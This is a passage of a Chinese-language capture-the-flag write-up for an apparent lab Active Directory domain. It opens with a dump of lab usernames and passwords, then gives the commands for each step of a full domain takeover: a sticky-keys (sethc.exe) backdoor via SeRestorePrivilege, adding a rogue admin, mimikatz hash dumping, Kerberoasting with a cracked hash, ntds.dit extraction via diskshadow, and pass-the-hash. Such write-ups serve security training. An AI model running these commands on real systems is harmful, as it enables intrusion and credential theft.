XR-0932 | zhangyong | CS4sx0MvUF
XR-0933 | wangliang | 4vV6UjqzOQ
XR-0934 | wangxu | UfTgi40DV9
XR-0935 | chenhua | lWS207vdOf
XR-0936 | zhouli | DuMiQOb0qK
XR-0937 | liubing | NXwAreabgd
XR-0938 | zhaojing | Ru3Gen8YBM
XR-0939 | yangyan | IHrpmeTNfl
XR-0940 | chenfang | d3nUGRgs24
XR-0941 | zhanghao | Yu0ZbEKFIT
XR-0942 | wangyun | 0rwTmed8SJ
XR-0943 | zhangxin | 8vPF5hzoAa
XR-0944 | zhangwei | YLwUpHNS6X
XR-0945 | wangping | FqhfMozSXp
XR-0946 | wangkai | D04bXHTKpc
XR-0947 | liuchang | Ue60X3sGrS
XR-0948 | lixue | CHbgqOTeIc
XR-0949 | lina | rwanydljVu
XR-0950 | liwen | edc0M7yvQu
XR-0951 | liming | yziSjWBoCH
XR-0952 | liling | wmdjRaIBAS
XR-0953 | chenwei | xcqN5VPbCM
XR-0954 | lihao | iUpmDYS2CL
XR-0955 | wanglin | 5pgFojT6wI
XR-0956 | zhanglin | x7OgKTdhyQ
XR-0957 | xumin | QuMKRHoB3U
XR-0958 | liuyan | g1wN7ydrLh
XR-0959 | zhangmin | e9XBQqEtPp
XR-0960 | zhangqiang | vcKRYUDOGL
XR-0961 | yangchao | MhUkEeWYBF
XR-0962 | yanghua | fZUCSaoiIt
XR-0963 | ligang | CdgFjNf1Mk
XR-0964 | liuxin | knHhJmBwEM
XR-0965 | liuhuan | pZSHNhjkq9
XR-0966 | lifeng | jRAkFxLT5e
XR-0967 | liugang | YA2mVzSs5K
XR-0968 | yangtao | 4b32TQLP6y
XR-0969 | liuhao | 0EPZ6Fyism
XR-0970 | lichao | ultLQzWN34
XR-0971 | yanghong | Ig2BNLMuWf
XR-0972 | chenhong | Q4eOjNym6S
XR-0973 | sunwei | drjUYgi3T0
XR-0974 | zhanghong | sRkmQIB5La
XR-0975 | zhangdan | b2HoSCuhaM
XR-0976 | liumin | FPRm6W7wGs
XR-0977 | wangmei | yq7MVcj4se
XR-0978 | zhangjing | WR4Ef16FiU
XR-0979 | liujun | DEwYySf6Ni
XR-0980 | wangyong | h9XMZiEv0g
XR-0981 | huangyong | DgoIyPSTHZ
XR-0982 | lixiang | TAoPcpiF3g
XR-0983 | zhoujie | YrlB2gMuxF
XR-0984 | liuchao | ijaDY4Ilr3
XR-0985 | liuna | 6xn2jo17SE
XR-0986 | wangjing | 65MhGVI0oL
XR-0987 | liuling | MjmN9ahSLR
XR-0988 | chenjing | ha23yfqcPg
XR-0989 | wangqin | MsdW85gzFL
XR-0990 | wanglong | O3oD1lscAK
XR-0991 | chenlei | 3vtAJqzrYB
XR-0992 | yangjie | fuTBeq6z51
XR-0993 | zhangjun | l02GAEUHq9
XR-0994 | yangming | N3bYUqfenc
XR-0995 | zhangmei | S7DG5bgXtN
XR-0996 | wangrong | 2BPmaxilGq
XR-0997 | zhangpeng | BHOqDmCXMn
XR-0998 | liuyun | CB7sxbk84I
XR-0999 | wangkun | KuJH519OWg
XR-01000 | chenmin | e4gQGHorq3
XR-01001 | liqin | 4zEJkYPIpq
XR-01002 | wangfang | FTVYd4W02u
XR-01003 | liuhua | P9ndfu8wGh
XR-01004 | zhangqin | 0f1JTN5Qqp
XR-01005 | zhanglong | nH8mDpRbcN
XR-01006 | zhangjie | cTVwM25y3h
XR-01007 | liliang | Rf6zXV0YEI
XR-01008 | liyun | 3hxTmEoMBl
XR-01009 | wangcheng | Boy4Ezp987
XR-01010 | yangjing | gjhbXHcLW0
XR-01011 | chenying | koGFcPeBmi
XR-01012 | lihua | nSOjeYV3Nr
XR-01013 | liumei | yxAm2nWNp9
XR-01014 | yangjuan | Gpe6Au2hxF
XR-01015 | lidan | ogDLzMhCVP
XR-01016 | liyang | nDWvGhNMoe
XR-01017 | zhaojun | XtfZYOxeDJ"} |
base64解码一下
1 | Machine | Username | Password |
得到大量用户名和密码,注意到XR-0923机器我们扫出来过XR-0923 | zhangshuai | wSbEajHzZs
可以rdp也可以winrm
evil-winrm连上,查看权限存在SeRestorePrivilege权限(rdp需要管理员权限才能看
奇安信攻防社区-手把手教你Windows提权
1 | *Evil-WinRM* PS C:\Users\zhangshuai\Documents> whoami /all |
渗透技巧——Windows九种权限的利用
SeRestorePrivilege这个权限用来实现恢复操作,对当前系统任意文件具有写权限
所以我们尝试劫持 sthc.exe
sethc.exe 是 Windows 操作系统中的一个系统文件,主要负责启用 “粘滞键” (Sticky Keys) 功能
ren sethc.exe sethc.oldren cmd.exe sethc.exe
右键用户锁定,五次shift触发粘滞键,成功提权,读flag03
创建个新用户并加入管理员组net user xianxin pass@123 /addnet localgroup Administrators xianxin /add
上传mimikatz以管理员权限运行导出哈希
1 | privilege::debug |
重点为XR-0923$的hash
1 |
|
利用机器账户的 hash 去 GetUserSPN,发现 tianjing 用户proxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :9774c7cd86ad7f4db2e24c0c724488cc -dc-ip 172.22.14.11
1 | ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation |
获取其 hashproxychains impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes :9774c7cd86ad7f4db2e24c0c724488cc -dc-ip 172.22.14.11 -request-user tianjing$krb5tgs$23$*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing*$c95304e39dd7c1f68379918a00249740$8cfa91606749402dd31d881eceb6890f2a6302b35f5fc3f5c5604cb031e2fe6b107383896c82df9ccd9e10adc2dda49878f1fc3e27fdbbc1166db49ba7181742fa223f74c66aa497c17b004b5c8f876f0d0b5c7a8fa4024570cf7b61d79527793a514ea35f28c7b9f81205c93de855bd92243ef0113c7fb3902a11ef879249cd66d801dcfb1f938b8fb94629cd09a2bfb71a38d8d0349304552d4fe036b245c88e37bc00ed4d5029eced442de2e409fca19c87f3ab81431e1f6e41ef55f3272db389fe3621ef495b922e1c3f9449788326b65b2c10f0ac69bdfa81c1cc81532fb47e1ada00277b61dd1dc6c7fbb026e6d383e4f56248c4cac0a8bd962a9aa2f0af4121d282d9362ebb59265549df91f00dc9dda546c2bf8f6baef63db335294caac03841cc9bf3796ea1f34bae186faab7e7b6e01ccf93969a5b1773103284d699e53f2ae1036d4370c1633fd7048b16b0114de67dbbc27a1494f35e705baf247e8a47a9a2513cb8d01d0d2cc4302d23c74a869ee8d0f26854fc5e0c47e26b53aa734b722857c72f27811e270a06dd75927cc630d7a48aab9c66cfa22b93c0dd4c986791cec4b76fe5de3eec6999dc5e489a8d13ceb5cedff0be8b9811da704b38408af3d802cac4c18be87325a8c5200525dba510f2483a6c2fe6d5ef600be2e21b173960f34e68fee3581885ed560c042f42a77d9d3f113e1f4c7d075541efaeeb5eff837cc848ede36b8114f48ced2d0104d155150d97874301d05665339fbc3877ed97f70d7ead35ee75bcf72f676877951163cb40d7f075ba1e18e9c58fb6009fdbe5b8015d6d79a6411797ba567a7bdf34b9f85361735400cb237a7b421cdb76a69945b649a64b04974e86fc0a8d9f81c29117e84a165237777811f55b88c90530eac97d31135db14b0c6f122caa2cf05b52dd11ccf1a1e3dfb40408a35123f8b735751994513c7bf60dd69b064f7d7b93b1cf69a417467b6478f8b2ebd4a18057fc33f812562c9364f71c07fb6d961018b80437c814d60a1233e94c25b027bbcd5ff052634afee49fdd12b9d0f64184e4e518f60bf7ba75676e12a54c6c168f29d312078082ad88f48b5b8d80e69e58b92d38560efa89fed677b2099c3d465fc3d72508328a649cd792236fbaac98df9db90d3772c1730e97fff8255413c01695b417aedfe9ad3d1d5d8ae93b2f6e69d90a287a8e7d065e756a4cd3d3a7bb71fcbb952fccc3fc75a38a66d77eb5c7251f450a7e0de62913c9fc16aad34fd67987b375129a032421b144a6b95bbe7ce13e0799492015a50436d7194e6ca3f2c114749db99a1e415e191477b7ee864ea4e6a494c47846568b4fde3bdc20a6c8490d5dcf2d35128a27f5590b1dc06bdc96aca4a0ba0197433a09c41ab2597b2445a5b7a688f90b7613a9d9bec5ba86914207da45e498a214292fde0ca2652d8eda856f0f377fe5a831c596e50d8af3aafa4cda
hashcat解密hashcat -a 0 -m 13100 --force hash.txt /usr/share/wordlists/rockyou.txt
爆出来tianjing密码是DPQSXSXgh2
evil-winrm连接简单信息搜集proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2
1 | ┌──(root㉿kali)-[/home/kali/Desktop] |
谈谈域渗透中常见的可滥用权限及其应用场景(二)
利用卷影拷贝服务提取ntds.dit
卷影拷贝
有备份以及还原文件和目录的权限,尝试导出sam和system。
首先在本地创建一个dsh文件,这里命名为raj.dsh,内容如下
1 | set context persistent nowriters |
接下来再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距unix2dos raj.dsh
接下来上传到靶机,我们在C:/下随便创个目录,上传此文件
卷影拷贝diskshadow /s raj.dsh
复制到当前目录RoboCopy /b z:\windows\ntds . ntds.dit
下载sam和systemdownload ntds.ditreg save HKLM\SYSTEM systemdownload system
然后利用 impacket-secretsdump 成功获取域管 hashimpacket-secretsdump -ntds ntds.dit -system system local
横向即可proxychains4 evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"
获取flag04
1 | *Evil-WinRM* PS C:\Users\Administrator\flag> type flag04.txt |
